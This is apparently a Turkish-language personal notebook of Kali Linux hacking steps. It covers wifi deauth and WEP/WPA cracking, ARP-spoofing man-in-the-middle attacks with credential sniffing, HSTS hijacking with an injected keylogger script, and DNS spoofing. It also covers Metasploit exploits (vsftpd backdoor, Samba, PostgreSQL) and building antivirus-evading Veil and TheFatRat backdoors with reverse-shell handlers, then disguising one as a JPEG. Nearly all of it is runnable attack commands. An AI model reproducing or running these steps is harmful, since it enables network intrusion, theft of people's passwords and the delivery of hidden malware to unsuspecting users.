

/-----\*\*\*\*\*-----  
-----/

## KALİDE VPN:

Linuxte Google free VpnBook openvpn diye aratıyoruz.  
Vpnbook u açıyoruz Aşağı inip OPENVPN kısmını açıyoruz.  
kanadayı yükleyelim (giriş ve şifre bilgi infosu aşağısında)  
kanadaya basıp Save File diyip indirelim.

Download klasörüne iniyor oraya gidip zipten çıkaracağız.

Terminali açalım:

cd Downloads/

ls

unzip VPNBOOK.COM(TAB)

ls

openvpn vpnbook-ca222-tcp80.ovpn

vpnbook

buraya şifre isteyecek sitede şifre verilmişti oradan gireceğiz.

//Çalıştığını anlamak için google girip what is my ip yazıp en üstteki siteye girelim. nerede göründüğümüze bakarak teyit edebiliriz.

-> Linuxtaki firefoxu açıp about:config yazalım. gelen yerde media.peerconnection.enabled kısmını true ise çift tıklayarak false yapalım. //ipmizi tam gizli hale getirdik.

-> Her kaliyi açtığımızda aynı komutlarla vpn'yi açabiliriz.

//VPN'yi kapatınca internetimiz giderse terminale:

**service network-manager restart**

```
/-----*****-----  
-----/
```

## **DNS DEĞİŞTİRME:**

Terminale:

**nano /etc/dhcp/dhclient.conf**

ok tuşları ile aşağı inelim

#prepend domain-name ile başlayan yere gelelim. "#" başındakini silip ve sondaki 8.8.8.4; ü 8:8:4:4; yazıp ctrl+o enter ctrl+x ile çıkalım

//Bu bazen başarılı olmayabilir onu anlamak için terminalde

Terminalde leafpad yazalım Eğer command not found hatası veriyorsa terminalden indirme işlemini yapalım.

apt-get install leafpad

leafpad /etc/resolv.conf

//karşımıza bir txt dosyası açılıyor. orada nameserver 8.8.8.8 i 8.8.8.4 diye değiştirip file -> save dersek dns değişecektir.

//Google gidip Dns leak test yazalım sitesine girip -> standart test e basalım içinde türkiye ya da ipimiz yoksa başarılıdır.

/-----\*\*\*\*\*-----  
-----/

## **DARKWEB:**

### **TERMİNALDE:**

**apt-get install tor -y**

//daha sonra google geçip tor browser yazalım. Sitesine girip Linux olana tıklayalım. save file diyip indirelim. download klasörüne iniyor. Download klasörüne gidip sağ tık yapıp extarct here dersek zipten çıkarıyor.

Terminalde :

**cd Downloads/**

**ls**

**cd tor-browser\_en-US/**

**ls**

**-----\*\*\*-->>>>>./start-tor-browser.desktop**

///Hata verirse zipten çıkardığımız tor dosyasına girip-> start-tor-browsere sağ tıklayıp open with leafpad diyelim -> Root ile biten kısmı if... ile biten kısımları silelim.

file save file diyip Tekrar Terminalde:

```
-----***-->>>>>./start-tor-browser_en-US/
```

Tor açılınca arama kısmına DuckDuckgo yazalım-> sağda kalkan gibi işareti olan sembole basalım-> standart olan kısmı Safer yapalım.

Daha sonra Hidden Wiki yazalım. DuckDuckGodan oradan deepweb siteleri listelenir.

```
/-----*****-----  
-----/
```

## WİFİ KARTI BAĞLAMAK:

Wifi kartını takalım -> daha sonra virtual boxu açalım. -> Kali Rolling kısmına tıklayıp Settingse geçelim -> Portsa basalım

Usb basalım -> Enable USB controllere açık yapalım. -> USB 3.0(xMCI) seçelim ->

Sağda bir usb sembolü olana basalım. ve wifi kartımızın markası neyse onu seçelim ok diyelim

Kaliyi başlatalım. Açılışta hata alırsak kaliyi kapatıp 2.0 dene-> o da olmaz ise -> 1.0 \*En üstte Devices-> USB -> RALLINK seçili olması lazım.

Yine hata alırsak kaliyi açıp sonra usb takmak deneyebiliriz.

Daha sonra sağ üstte kalide wifimize bağlanalım.

Terminalde:

ifconfig yazalım wlan0 gelmiyorsa virtualboxta kalideki settings gelip networkü -> Nat network -> Bridge Adaptorde deneyelim.

```
/-----*****-----  
-----/
```

## MAC ADRESİ:

Terminalde:

**ifconfig** //yazdığımızda ether değeri mac adresimizi verir. eth0 ve wifi kartı wlan0 da bulunur. //bazı hackerler iz bırakmamak için bunları da değiştiriyor.

**ifconfig wlan0 down** //wlan0 kapatır ve mac adresini değiştirmeye başlayalım.

**macchanger --random wlan0**

**ifconfig wlan0 up**

**ifconfig** //burada random bir şekilde bize bir mac atadı. //olaki internete bağlanmazsa google vs açmazsa şunları yapalım

**service NetworkManager restart**

**service network-manager restart** // bu eski kali sürümü için

MAC adresini değiştirmenin bir diğer adımı:

**ifconfig wlan0 down**

```
ifconfig wlan0 hw ether 00:22:33:00:00:11
```

```
ifconfig wlan0 up
```

```
ifconfig
```

```
/-----*****-----  
-----/
```

## **WİFİ KARTININ MONİTOR VE MANAGED MODLARI::**

USB wifi kartı seçerken monitor mod özelliğine sahip olması gerekiyor. nedeni:

ifconfig gibi iwconfig var

wlan0 detaylı gösteriyor iwconfig sadece wireless ile ilgili bilgileri veriyor bize

wlan0 içinde mode: Managed -> Monitor mod yapabiliriz. -> monitor modda bağlı olmadığımız ağlar hakkında bilgi toplayabiliyoruz manage modda ise internete bağlanamıyoruz.

mode= monitor yapılışı:

Terminalde:



airmon-ng start wlan0

ifconfig

iwconfig

//Monitor mod yaptı ama internet bağlantısını kesti çünkü monitor modda bilgi toplayacağız.

//Eski haline dönmek için (manage moda dönmek için):

airmon-ng stop wlan0mon //bu olmazsa

service NetworkManager restart

//monitor moda almanın bir başka yolu şu:

ifconfig wlan0 down

ifconfig wlan0 mode monitor

/-----\*\*\*\*\*-----  
-----/

## AĞLARLA İLGİLİ BİLGİ TOPLAMA:

wifi kartımız bağlı şimdi bir wifi adresinin bilgilerini toplayalım.

Terminalde:

```
ifconfig          //wlan0 görelim
```

```
airmon-ng start wlan0
```

```
iwconfig //modeyi kontrol et ve başlayalım
```

```
airodump-ng wlan0mon // etrafımızdaki tüm modemleri  
buluyor BSSID: modemlerin mac adreslerini gösterir. PWR: -  
olarak ne kadar küçükse o kadar yakınız demek. BEACONS  
#DATA ne kadar kişi bağlı ve ne kadar paket gidiyor görürüz
```

```
                //CH: hangi kanal kullandığını , ENC: wpa2  
görünür ama değişebilir
```

-\*->YENİ BİR TERMİNAL AÇALIM BU AÇIK KALSIN TERMİNAL2:

```
airodump-ng --channel 8 --94:FE:22:DA:AC:3D --write  
airodumpsaldiriornek1 wlan0mon //kanal,mac ve  
kaydedileceği dosya ismi verdik. //gelen sonuçta stationda
```

bağlı cihazları görebiliriz. ne kadar internet harcadıklarını  
ctrl+c yapalım şimdi.

ls

airodumpsaldiri..cap uzantılı dosyayı wiresharkta  
inceleyebiliriz. wireshark network analiz ve izleme işine  
yarıyor kısaca.

```
/-----*****-----  
-----/
```

## DEAUTH SALDIRISI::

Bu saldırı modeme bağlı kullanıcıları modemden atma işine  
yarıyor. Yetkisizlendiriyor.

### 3. Terminali açalım::

**aireplay-ng --deauth 10000 -a 94:FE:22:DA:AC:3D -c**  
**3C:22:FB:69:5C:F9 wlan0mon** // -a: wifi modemin maci ,, -  
c: saldırılan cihazın modeme bağlı olan hedefin mac adresi ve  
10000 paket yolluyoruz. 10000 yerine 5 paket atarsak kısa  
süreli atar.

/-----\*\*\*\*\*-----  
-----/

## WEB ŞİFRELERİNİ KIRMAK::

Modemde WEP,WPA,WPA2 şifreleme yöntemleri var. WEP yöntemi günümüzde çok az. burada WEP şifreleme kırma var:

(wifi kartı bağlı yine)Terminalde:

**airmon-ng start wlan0 //monitor mod**

**iwconfig**

**airodump-ng wlan0mon**

**airodump-ng --bssid 94:FE:22:DA:AC:30 --channel 2 --write wepkirma wlan0mon //buradaki bssid: hedef modem  
mac adresi**

2.Terminali açıp:

**aircrack-ng wepkirma-01.cap** // bunu yazdıktan sonra  
modemin şifresini verir "WEP"

// şifreyi almasına alırız ama şöyle bir şey var modeme bağlı cihazlar interneti kullanıyor olmalı o an yoksa sonuç alamayız misalen bir tane cihaz bağlı ama interneti kullanmıyor o zaman şunu yapmak lazım:

### **SAHTE YETKİLENDİRME:::**

**aireplay-ng --fake 0 -a 94:FE:22:DA:AC:3D -h 00:c0:ca:92:8f:6e wlan0mon** // -a: hedef modem mac ,, -h: bizim mac adresi. // bu komut bizi modemde fake bağlı gösteriyor olacak. sanki bağlıymışız gibi

**aireplay-ng --arpresplay -b 94:FE:22:DA:AC:3D -h 00:C0:CA:92:8F:6E wlan0mon** // bu komutta bizi fake bağlı olduğumuz modemde internet kullanıyormuşuz gibi gösterecektir.

Yeni Bir terminal daha acalım.Terminal3:

aircrack-ng wepkirma-01.cap

// şifreyi aldıktan sonra monitor moddan çıkalım. terminalleri ctrl+c ile durduralım.

airmon-ng stop wlan0mon

iwconfig

service NetworkManager restart

//artık modeme şifre ile bağlanabiliriz.

```
/-----*****-----  
-----/
```

**WPA Şifre Kırma::**

wifi kartı bağlı. kalide terminali açalım::

iwconfig //kontrol et

airmon-ng start wlan0mon

iwconfig

**airodump-ng wlan0mon** //ağları görmeye başla

## **HANDSHAKE YAKALAMA:::**

WPA/WPA2 ler için handshake ile kırmaya başlayabiliriz. 1. adım olarak handshake yukarıda tüm wifileri görüntüledik.

**airodump-ng --bssid 94:FE:22:DA:AC:30 --channel 6 --write handshakewpa wlan0mon** // bu komut ile biri ağa bağlandı mı wpa handshake değeri gelecek. biri ağa bağlandığı zaman anında yakalıyor.

/// biri ağa bağlanmadı diyelim. wpa handshake göremezsek yeni bir terminal açalım. bulamazsa ::

**aireplay-ng --deauth 5 -a 94:FE:22:DA:AC:30 -c 92:9A:4A:08:16:5C wlan0mon** // -a : modem mac -c: bağlı olan birini kısa süreli modemden attık.

ctrl+c

.

.

. //not almamışım...

.

Bir ağın şifresini biliyorsak ya da kırmışsak yapmamız gerekenler ilk başta NatNetwork'e almak.

devamı aşağıda

```
/-----*****-----  
-----/
```

## NETDISCOVER::

hedefimiz bir windows pc ve onun ip adresini bulmak lazım  
kalide terminali açalım:

```
netdiscover -r 10.0.2.0/24 // 192.168.1.0/24
```

// bu komut bize ip ve mac adresleri ağda olanları listeliyor.



/-----\*\*\*\*\*-----  
-----/

**NMAP:::**

Terminalde::

**nmap 10.0.2.0/24**

//Aynı ağdaki bağlı cihazların ip ve mac adreslerini verir.  
Netdiscover göre daha detaylıdır.

/-----\*\*\*\*\*-----  
-----/

**ORTADAKİ ADAM:: (YÖNTEM1)**

ARP SALDIRISI:

TERMİNAL:

```
arpspoof -i eth0 -t 10.0.2.4 10.0.2.1 //wifi kartı
```

kullansaydık eth0=wlan0 olacaktı. -t: hedef ip  
netdiscover,arpden aldığımız bilgi, 10.0.2.1 modem ip

//burada saldırılan pcye ben modemim diyoruz. aynısı bi de  
modeme yapamaz ben windowsum diyecez. onun için yeni bir  
terminal açalım.

Terminal2:

```
arpspoof -i eth0 -t 10.0.2.1 10.0.2.4
```

Terminal3:

Bunu yapmamız lazım çünkü hedef pcniz interneti gider. Yeni  
terminale bunu yazalım.

```
echo 1> /proc/sys/net/ipv4/ip-forward
```

//Bu şu demek ip-forwardın için 1 yaz demek. bunu her kali  
açtığımızda baştan yazmak lazım. yapmazsak karşıda internet  
kesiliyor. karşı=hedefpc

\*\*\*

## MITM FRAMEWORK (YÖNTEM2) :

Linuxta google girelim. //->

<https://github.com/byt3bl33d3r/MITMf>

mitmf github yazalım. byt3bl33dr ile başlayan url'yi açalım.  
clone or download'a basalım. save file zip halinde indirecek.  
Download klasörünü açalım.

Sağ tıklayıp open with archive manager ile arşivden çıkartıp  
klasörünü sürükleyerek download içine atalım.

MITMF-Manager klasöründe indirecek onuda açalım. içerisinde  
mitmf.py dosyasını kullanacağız.

terminali açalım:

```
cd Downloads/
```

```
cd MITMf-master/
```

```
ls
```

```
python mitmf.py -i eth0 --arp -spoof --gateway 10.0.2.1 --  
target 10.0.2.4
```

//Hata alırsak filepwn.py gibi yapmamız gereken şu MITMF-master klasörünü açalım plugins klasörünü bulalım. açalım filepwn.py yi silelim

//Hala hata alıyorsak yeni bir terminal açıp :: apt-get install-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstore-dev libffi-dev file //Y

//Hepsine rağmen hata almaya devam ediyorsak

cd Downloads/

cd MITMf-master/

ls

pip install -r requirements.txt

**Şifreler Nasıl Ele Geçirilir.::**

**HTTP**

**MITM'in devamı::**

http sitelerine girdiğinde parola ve username linuxe geliyor.  
Bazı https sitelerinide httpye ceviriyor. ve oradada bize  
username ve parolalarını gösteriyor.

```
/-----*****-----  
-----/
```

## **WIFI LOCK SAYFASINA YÖNLENDİRSEK::**

//kendi web serverimizi açtığımızda indexi değiştirince wifi  
lock yazan bir sayfaya yönlendirirsek.

**apt-get install remove mana-toolkit**

//sonrasında dosyalardan şu klasörü bulmak lazım:::

**/etc/apache2/sites-enabled**

//bu klasörü bulduktan sonra içindeki her şeyi silelim şu  
komutu çalıştıralım.

```
cp/etc/apache2/sites-available/000-  
default.conf/etc/apache2/sites-enabled/  
service apache2 start
```

bundan sonra hem kalide hem windowsta açılmışsa daha önce cache ve historyi temizleyerek tekrar deneyelim.  
artık mitm durduralım.

```
/-----*****-----  
-----/
```

## WEB SUNUCU KURMAK:::

Termianlde:

```
service apache2 start //bizim sunucumuzu açacak.
```

//files-> other locations -> computure -> var -> www -> html  
buraya gidelim

//index.html var içinde bu bizim web sitemiz. sağ tıklayıp  
open with other applications basalım. text editör ile açalım.  
içindeki her şeyi silelim.

//<h1>i hack you</h1> save yapalım kapatalım.

daha sonra kendi ip adresimiz neyse onu google arama kısmına yazıp açalım.

```
/-----*****-----  
-----/
```

## **DNS SALDIRISI NASIL YAPILIR:::**

//Downloads klasörüne gidelim. MITMf-master klasörünü açalım. orada confige girelim. "mitmf.conf" sağ tıklayıp open with text editör e basalım.

DNS nin aşağısında nameservers: 8.8.8.8 var

[[[A]]] altına bir satır ekleyeceğiz.

\*.unicornitems.com=10.0.2.15

\*.youtube.com=10.0.2.15//gibi save yapalım. // bu bizim ip adresi en sondaki..

Terminali açalım şimdi:

```
python mitmf.py -i eth0 --arp --spoof --gateway 10.0.2.1 --  
target 10.0.2.4 --dns
```

//yazdığımızda urlelere gidince bizim yaptığımız siteye i hack  
you ya yönlendirecektir.

!!\*\*\*\*\*!! Bilgisayarı her açtığımızda **echo 1>**  
**/proc/sys/net/ipv4/ip-forward** yazmazsak saldırı  
yapılan kişinin neti gider.

MITM ARTIK GÜNCELLENMİYOR BURAYA KADARDI MITM..

```
/-----*****-----  
-----/
```

**BETTERCAP KURULUM:**



mitm den sonra gelişen bir uygulama (işlev aynı ama güncel)

mitm ne yapıyorsa bu da aynısı nı yapıyor. burada da yine ortadaki adam olacağız ve şifreleri alacağız.

**apt-get update**

**apt-get install bettercap**

**bettercap -iface eth0** //bettercapi çalıştıracak,, wifi kart kullanıyorsak eth0 yerine wlan0

**net.probe on** //ip adreslerini bulup listeliyor

**net.show** //tablo şeklinde göster bağlı olanları,, gateway yazan modemdir.

ARP-BETTERCAP :: aynı şekil devam yukarıdakiyle aynı terminalden.

**//arp.spoof on**

**//arp.ban on** //internetten koparma saldırısı

**//arp.spoof off** //saldırı sonlandırma

**set arp.spoof.fulldublex true**

**arp.spoof.targets 10.0.2.4** //saldırı yapacağımız hedef ip,, 2 farklı hedefe saldırı yapılacaksa bir virgül koyup ipsini yazmak yeterli

**arp.spoof.on** //saldırı başladı.

## BİLGİLERİ ELE GEÇİRME BETTERCAP::

//arp saldırımızı yaptık şimdi paketleri alalım.

**net.sniff on** //paketleri görüntüleyecektir.

**exit** //bettercap sonlandıracaktır.

//Bettercap mitm gibi httpsi httpye çeviremiyor. güncellemesi olmadıysa kendimiz manuel şöyle yapabiliriz.

Files-> other locations -> computer -> usr -> share ->  
bettercap -> caplets -> hstshijack klasörüne girelim.  
Hstshijack.cap açmak için terminali açalım.

**cd..**

**ls**

**cd usr**

**cd share**

**cd bettercap**

**cd caplets**

**cd hstshijack**

ls

leafpad hstshijack.cap

açılan cap dosyası içinde: set hstshijack.log /usr/local/share....  
(/locali silelim), set hstshijack.encode false yapalım (true idi),

, set hstshijack.payloads

\*:/usr/share/bettercap/caplets/hstshijack/payloads/keylogger.js(hepsini silelim ve bunu yazalım ),, set http.proxy.script te  
/local olan kısmı silelim /usr/share şeklinde kalsın,,

,set hstshijack.targets facebook.com, \*.facebook.com,

\*.bing.com, bing.com, www.linkedin.com, twitter.com

şeklinde değiştirelim,, set hstshijack.replacements

facebook.corn, \*.facebook.corn, \*.bing.corn, linkendin.corn,  
twitter.corn yapalım.

,set dns.spoof.domains facebook.corn, \*.facebook.corn,

\*.bing.corn, linkendin.corn, twitter.corn yapıp save edelim.

tüm terminalleri kapatalım. exit ile .

## HTTPS DENEME::

bettercap -iface eth0

net.probe on

set arp.spoof.full duplex true

set arp.spoof.targets 10.0.2.4

//set arp.spoof.internal true //bu gerçek bir pcye saldırı yapacağımız zaman wifi kartı kullanıyorsak yazacaz. 92.168 ile başlayan gerçek bir ip saldırısında kullanılır.

arp.spoof on

net.sniff on

hstshijack/hstshijack

//windowsta linkedin, stackoverflow gibi https sitelere girelim http yaparsa çalışır. her ikisinde http geliyorsa hata var.

/-----\*\*\*\*\*-----  
-----/

## JAVASCRIPT ÇALIŞTIRMAK::

Linuxte önce leafpad açalım. İçine:

alert ('i hack you'); ->file save as -> root içine ahars.js olarak kaydedelim.

Filese tıklayalım -> other locations -> computer -> usr -> share -> bettercaap -> caplets -> hstshijack açalım.

hstshijack.cap sağ tıklayalım. open with leafpad diyelim, set hstshijack.payloads sonuna b,r virgül ve bir boşluk bırakıp \*/root:ahars.js ekleyip save edelim.

TERMİNALİ AÇIP:::

bettercap -iface eth0

net.probe on

set arp.spoof

set arp.spoof.full duplex true

set arp.spoof.targets 10.0.2.4

arp.spoof on

hstshijack/hstshijack

//saldırılan pc hotmail.com a girince bildirim gidiyor i hack you diye http ve httpslerde çalışır.

/-----\*\*\*\*\*-----  
-----/

WIRESHARK::

Ağ yöneticilerinin kullandığı bir araç diyebiliriz.

Protokol analizi yapıyor.

Wireshark aldığımız tüm paketleri detaylı analiz incelememizi sağlıyor.

Mesela mıtm , bettercapte aldığımız paketleri tüm detaylarına kadar her şeyi inceleyip takip edebiliriz.

kalide açtığımızda mesela eth0 ı mı dinleyeceğiz eth0 a çift tıklamak yeterli

ortadaki adamken nasıl wireshark kullanırız onu öğrenelim.

terminali açalım:

```
bettercap -iface eth0
```

```
net.probe on
```

```
set arp.spoof.full duplex true
```

```
set arp.spoof.targets 10.0.2.4
```

```
arp.spoof on
```

karşıdaki adama saldırdık ortadaki adam olduk karşıdaki pc hotmail,unicornitems gibi sitelere girince bizde wiresharkı açıp stop tuşuna basalım. (kırmızı stop tuşu)

protokolde arp görünce biri arp sorgusu yapıyor ortadaki adam olmaya çalışan biri var deriz. infoda mac adresine bakarız bu mac kimin aharsın mesela anlarız kim saldırı yapmış eth0

kullanıcı adı ve parola arıyorsak protocolde httpleri bulmamız lazım. arama kısmına http yazarsak sadece http listeler ama yeterli değil infoda postlarda şifre kullanıcı adı olur

şimdi aramaları filtreleyelim. edit-> find packet -> arama kısmı açılıyor -> packet listi packet details yapalım -> arama kısmına password veya username yazalım. en hızlısı bu.

```
/-----*****-----  
-----/
```

## **BİLGİSAYARLARI ELE GEÇİRMEK :::**

### **ZENMAP::**

Burada bilgisayardaki veya sunucudaki açıkları bularak hackleyeceğiz.

Linuxte mozillayı açalım [nmap.org/dist/?C=&O=D](http://nmap.org/dist/?C=&O=D) sitesine girelim zanmap e tıklayalım save file yapalım.

Terminali açalım::

```
apt-get update
```

```
apt-get install alien dpkg-dev debhelper build-essential
```

```
cd Downloads/
```

```
ls
```

```
alien zenmap-7.80-1.noarch.rpm
```

```
ls
```

```
dpkg -i zenmap_7.80.2_all.deb
```

```
zenmap
```

//yukarıdaki kısım zenmap kurulumu ve zanmap aracı açıldı

Tarama yapmak için

Target: (hedef ip ) 10.0.2.9

Profile: Ping scan seçelim (ping scan en basit tarama)

Scane basalım.

Sonuçunda: sadece mac adresi alabildik.

Ping scan yerine, intense scan dersek devamlı istek gönderir.

Devamlı istek yollayınca korumalı bir sunucuysa sunucu

kendini kitler kapatabilir.



Quick scan, Quick scan plus, intense scan e geçmek mantıklıdır.

Profile: Quick scan plus yapıp scan dersek

Sonuç olarak açık portları, Linux mu windows mu versiyonu servis bilgilerini adını portlarını versiyonlarını göreceğiz.

!!"Versiyonlardaki açıkları biliyorsak hackleme yapabilir başlayabiliriz.

Profile: Intense scan seçip scan dersek

Sonuç: Versiyonlar gelir. Versiyonlar bizim için önemli versiyonlardaki açık var mı onu arayacağız.

Sonuçlarda diyelim ki : vsftpd 2.3.4 versiyonunu aldık google açalım. vsftpd 2.3.4 exploit diye aratalım. Rapt7 sitesine girelim. Açıkların detaylarını anlatıyor.

1. terminalimizde zanmap çalışıyor.

2.Terminali açalım::

msfconsole

use exploit/unix/ftp/vsftpd\_234\_backdoor

show options

set RHOST 10.0.2.9 //hedef ip

set LPORT 21

exploit //şu an vsftpd 2.3.4 versiyosunun açığını kullanarak karşımızdaki hedefi hackledik

hedefi kırdık ele geçirdik içinde gezinme örnekleri hedef pcnin kendisi içinde

pwd

ls

uname -a

sysinfo

whoami

cd root

ls

cd Desktop

ls

cd..

cd home

ls

exit diye çıkabiliriz....

## 2-)KULLANICI ADI AÇIĞI İLE HACKLEME:::

Zenmap geri dönelim. 139'uncu portu ele alalım. 139 da versiyon kısmında Samba smbd 3.x-4.x versiyonu var

Google açalım Samba smbd 3.x-4.x exploit yazıp aratalım Rapt7 sitesine girelim. Samba "username map script" gelen sonuca basalım. Module options ilk satırı kopyalayıp 2.Termianale clear çekelim:::

```
msfconsole
```

```
use exploit/multi/samba/usermap_script
```

```
show options
```

```
set RHOST 10.0.2.9
```

```
exploit
```

Yine hedefe sızdık samba versiyon açığı ile...

içinde gezinme whoami, uname -a , exit...

## 3-)VERİTABANI AÇIĞI HACKLEMEK:::

5432 de veritabanları bölümünde postgresql i ele alalım.  
versiyonunu kopyalayalım (zenmapta profile intense scanda  
çıkan sonuçlar)

mozillada google açıp -> PostgreSQL DB 8.3.0-8.3.7 exploit  
rapit7 diye aratalım -> PostgreSQL for linux Payload ile  
başlayan ilk siteye girelim. -> Module optionstaki ilk satırı  
kopyalayalım. Terminale clear çekelim

msfconsole

use exploit/linux/postgres/postgres\_payload

show options

set RHOST 10.0.2.9

exploit

Yine hackledik veritabanı versiyon açığı ile....

```
/-----*****-----  
-----/
```

## KULLANICILARA SALDIRMAK:::

## VEİL İNDİRMEK::

Trojen için veil framework indireceğiz.

Linuxte mozillayı açalım.

Veil Framework yazalım. The Veil-Framework.github yazan adresi açalım. <https://github.com/Veil-Framework/Veil>

Terminali açalım::

```
cd..
```

```
ls
```

```
cd opt
```

```
sudo apt-get -y install git //githubu yükleyelim
```

```
git clone https://github.com/Veil-Framework/Veil.git
```

```
ls
```

```
cd Veil/
```

```
cd config
```

```
ls
```

```
cd..
```

```
./config/setup.sh --force --silent //uzun sürüyor veil içine kur
```

//Windowsta daha az açık var yok denecek kadar az Hackerler açık aramazlar gerçek saldırıda çünkü çık karşılaşmazlar. onun yerine trojen dediğimiz bazı zararlı exe dosyalar virüsler kullanırlar.

//hedefe exe dosyasını yollarsak bir şekil çalıştırabilirsek exeyi çalıştırdığı dakika bizim belirlediğimiz ip e bağlantı gider Yani bize erişim vermiş olur kendi pcsinde.

//Bir exe oluşturduk Kullanıcı açınca antivirüs engelliyor. bunu engellemek için Veil kullanacağız.

//Veil yüklenince Done! yazınca terminalde

ls

python3 Veil.py //açılacaktır.

## **VEİL GENEL GÖRÜNÜMÜ::**

list //Kullanabileceğimiz tool listeleniyor. biz evasion kullanacağız

use1 //evasion içine girdik

list //41 tane payload gelecek

## **ARKA PLAN OLUŞTURMA::**

use 14 //14. payloadı seçtik diyelim

//Yeni terminal açalım. bu terminal açık kalsın -> ifconfig yazıp IP adresimizi hatırlayalım. ve tekrar use14 yazdığımız terminale dönelim

set LHOST 10.0.2.15

set LPORT 8080

options //değiştirdiğimiz seçenekleri güncelliyor.

generate

Ahars //isim istiyor

//Artık bize yeni backdoor trojen yaratıyor. -> Kaydettiği yeri bilelim -> Filesini açalım -> usr -> share -> Veil-output -> compiled //yarattığımız exe dosyası burada

//Online virüs scanner without result distribution yazalım google. Nodistribute.coma gidelim. Yarattığımız exeyi bu sitede taratalım bakalım hangi antivirüs programı algılıyor. 5 tane algılıyor diyelim yeni bir trojen yazalım.

python3 Veil.py

list

use1

list

use14

set LHOST 10.0.2.15

set LPORT 8080

options

set PROCESSORS 1

set SLEEP 4

options

generate

Ahars\_2

//bu sefer yine aynı sitede virüsümüzü taratırsak 3 tane yakalayacak. 5ten 3 e indirdik optionslar ile..

## **MULTİ HANDLER KULLANIMI::**

Veilden çıkalım

back

exit

cd..

cd..

clear

\*\*\*\*\*



msfconsole

use exploit/multi/handler //bizim için gelen bağlantıları yönetmemizi sağlıyor

show options

set PAYLOAD windows/meterpreter/reverse\_http

show options

set LHOST 10.0.2.15 //hedef ip

show options

exploit

//Trojenleri hazırladık. Gelen bağlantıları dinlemeye başladık. Şimdi trojenimizi test edelim. Daha önce web servere "i hack you " yazmıştık. apache2 servere exemizi koyacağız.

1//Hazırladığımız exeyi kopyalayalım usr-> share -> veil-output -> compiled içindeki exemizi kopyalayalım.

2//other locations tıklayalım -> computer -> var -> www -> html -> html içine yeni klasör açalım. backdoors diye kaydedelim. ve bu klasörün içine exemizi yapıştıralım.

3//Yeni bir terminal açıp ->>> **start apache2 start**

4//hedefi bizim 10.0.2.10/backdoors/ sayfasına yönlendirdiğimizde dosyayı indirmeye çalışırsa -> windows defender engeller.

5//Mozillayı açalım Fatrat Github sayfasını açalım ->>  
<https://github.com/screetsec/TheFatRat>

6// Codeye basalım Linki kopyalayalım.

7//Terminali açalım:

```
cd /opt
```

```
git clone https://github.com/screetsec/TheFatRat.git
```

```
ls
```

```
cd TheFatRat/
```

```
ls
```

```
sudo bash setup.sh //kurulumu yapıyor
```

```
2 //((install backdoor-Facktory from kali --> enter ,  
enter , Y..)
```

```
fatrat //aracı açıyor enter, enter
```

```
2
```

```
2
```

```
10.0.2.10 //ip adresimiz
```

```
8080
```

```
1 //enter
```

8//Hata alırsak ctrl+c yapıp yeni bir terminal açalım.

```
cd /usr/share
```

```
ls
```

```
cd metasploit-framework/
```

ls

gem install bundler

bundle install

gem update --system

9//Tekrar fatrata dönelim

2

2

10.0.2.10

8080

1 //yükleme bitince exit

10//Yüklediği dosyaya gidelim. root/fatrat\_generated  
(Powerfull-fud.exe bunu cut edelim)

filesystem -> var -> www -> html -> backdoor -> buraya diğer  
virüsün yanına koyalım, adını değiştirelim

"Powie.exe"(isteğe bağlı) Terminalde start apache2 start  
yazalım

11//windowsa ya da hedefi bu sayfaya urlye yönlendirelim ->  
10.0.2.10/backdoors/ içindeki Powie.exe indirdiğinde bu  
sefer windows defender engellemeyecektir.

12//Diyelimki hedef indirdi bizde Linuxte apacheyi  
başlattığımız terminalde::

msfconsole

use exploit/multi/handler

```
set payload windows/meterpreter/reverse_tcp
```

```
show options
```

```
set LHOST 10.0.2.10
```

```
set LPORT 8080
```

```
show options
```

```
exploit -j -z
```

//hedef virüsü indirip çalıştırdığında ekranımıza sessionsta düştüğünde terminalde devamı olarak

```
sessions -l
```

```
sessions -1
```

```
sysinfo
```

```
dir
```

```
ls..
```

```
/-----*****-----  
-----/
```

## **SOSYAL MÜHENDİSLİK::**

### **MALTEGO::**

- 1//Linuxumuzde maltegoyu aratıp açalım
- 2//Maltego CE free Run tıklayalım.
- 3//Registe here diyerek bir kullanıcı adı oluşturalım.
- 4//Maili onaylayınca giriş yapıp next diyelim.
- 5//Logonun yanında +(sayfa) var ona basarak yeni grafik oluşturabiliriz. Basalım
- 6//sol tarafta Entity Palette var orada istediğimizi seçebiliriz.
- 7//Aşağıda website var (Entity) seçelim
- 8//Sağda aşağıda Property view basalım.
- 9//URLYİ [www.unicornitems.com](http://www.unicornitems.com) yapalım
- 10//Daha sonra ortada beyaz tabloda Sembole(New Graph) içindekine sağ tıklayalım. All transforms diyelim (+) -> Unicorn hakkında bilgiler toplayacak. (>) play tuşuna basarak.

Yukarıdaki web site örneği şimdi insan örneği yapalım.

Entity Palettede Personelin altında Personu seçelim.

Property viewden Full Name Harun Demir Firstname Harun  
Lastname Demir

newgraphta sağ tıklayıp All transforms play tuşuna basarak kişi bilgileri getirir.

Harun Demiri maltegodada arattık. Twitterını bulduk kimleri takip ediyor Profilini indirelim mesela.

Jpeg bir backdoor hazırlayacağız. -> jpegi bir exeye çevirirsek ikonsuz olacak. o yüzden googleda image-online-convert.com gereken işlemleri iconları burada yapcaz.

Terminali açalım::

```
cd /opt
```

```
cd Veil
```

```
ls
```

```
python3 Veil.py
```

```
use 1
```

```
list //backdoor çeşitleri
```

```
use 7
```

```
set LHOST 10.0.2.4 //kendi ip adresimiz
```

```
generate
```

```
mynewpayload //payloada istediğin ismi verebilirsin
```

//buraya kadar yaptıktan sonra bize yüklediği adresi söylüyor

var/lib/veil/output/compiled/mynewpayload.exe  
//buradaki exeyi kopyala

file system/var/www/html/backdoor/(buradaki klasör içine  
exeyi yapıştır. diğer örnekleri silebiliriz)

şimdi linuxde google gidip arama kısmına  
<https://github.com/atilsamancioglu/TrojanFactory> bu adrese  
git ve aşağıda download autolt bas. indikten sonra terminali  
aç::

cd Downloads/

ls-la

wine autoit-v3-setup.exe

//Hepsine next diyip kuralım. Finish geldikten sonra

cd /opt

ls

git clone

<https://github.com/atilsamancioglu/TrojanFactory.git>

cd TrojanFactory/

ls

//şimdi kapak.jpeg ve kapak.ico görsellerini backdoors içine  
atalım. exeyi attığımız gibi..

```
service apache2 start
```

```
python3 trojan_factory.py -f  
http://10.0.2.4/backdoors/kapak.jpeg -e  
http://10.0.2.4/backdoors/mynewpayload.exe -o  
/opt/TrojanFactory/test31 -i  
http://10.0.2.4/backdoors/kapak.ico
```

//f değışilecek dosya ,e birleřtirilecek dosya, o kaydedilecek yer, i ise iconu koyacak

